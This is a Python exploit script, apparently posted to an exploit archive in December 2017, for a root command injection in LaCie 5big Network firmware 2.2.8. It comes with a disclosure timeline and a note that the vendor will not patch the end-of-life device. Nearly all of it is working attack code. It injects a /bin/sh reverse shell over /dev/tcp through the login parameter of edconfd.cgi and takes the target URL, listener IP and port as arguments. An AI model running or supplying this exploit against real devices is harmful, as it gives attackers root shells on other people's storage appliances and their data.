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LaCie 5big Network 2.2.8 Command Injection

Posted on 07 December 2017

#!/usr/bin/python # Exploit Title: LaCie 5big Network 2.2.8 Command Injection # Date: 2017-12-04 # Exploit Author: Timo Sablowski # Contact: ${lastname} # Vendor Homepage: # Software Link: # Version: 2.2.8 # Tested on: Linux # Platform: Hardware # # Command Injection Vulnerability (with root privileges) in LaCie's # 5big Network appliance running firmware version 2.2.8. # Just open a netcat listener and run this script to receive a reverse # shell to exploit the vulnerability. # # This exploit has been released to Seagate in accordance to their # responsible disclosure program and is meant to be used for testing # and educational purposes only. # Please do not use it against any system without prior permission. # Use at your own risk. # # Timeline: # 2017-09-13: Discovery # 2017-10-04: Reporting to Seagate # asking to fix the issue until 2017-12-04 # 2017-11-07: Seagate stating to not fix the vulnerability as the # product has been EOL for a long time import sys, getopt, os, urllib url_addition = "/cgi-bin/public/edconfd.cgi?method=getChallenge&login=" blank_payload = "admin|#' ||`/bin/sh -i > /dev/tcp/IP/PORT 0<&1 2>&1` #\"" def help(): print "Usage:" print "%s -u <baseurl> -l <listener> -p <port>" %os.path.basename(sys.argv[0]) print "" print "<baseurl> identifies the target's URL, e.g." print "<listener> sets the IP where the attacked system connects back to" print "<port> defines the listening port" print "" print "Example: attack LaCie system to connect back to a remote machine (do not forget to open a netcat session)" print " %s -u -l -p 4444" %os.path.basename(sys.argv[0]) def create_payload(blank_payload, listener, port): print "[+] Generating payload with IP %s and port %s" %(listener, str(port)) payload = blank_payload.replace("IP", listener).replace("PORT", str(port)) payload = urllib.quote(payload, safe='') return payload def send_payload(injected_url): print "[+] Sending payload, this might take a few seconds ..." print "[+] Check your listener" try: urllib.urlopen(injected_url) except: raise def main(): try: opts, args = getopt.getopt(sys.argv[1:],"hu:l:p:") except: help() sys.exit(1) for opt, arg in opts: if opt == '-h': help() sys.exit() elif opt in ("-u"): url = arg elif opt in ("-l"): listener = arg elif opt in ("-p"): port = int(arg) try: url listener port except: help() sys.exit(1) payload = create_payload(blank_payload, listener, port) injected_url = "%s%s%s" %(url, url_addition, payload) send_payload(injected_url) if __name__ == "__main__": main()



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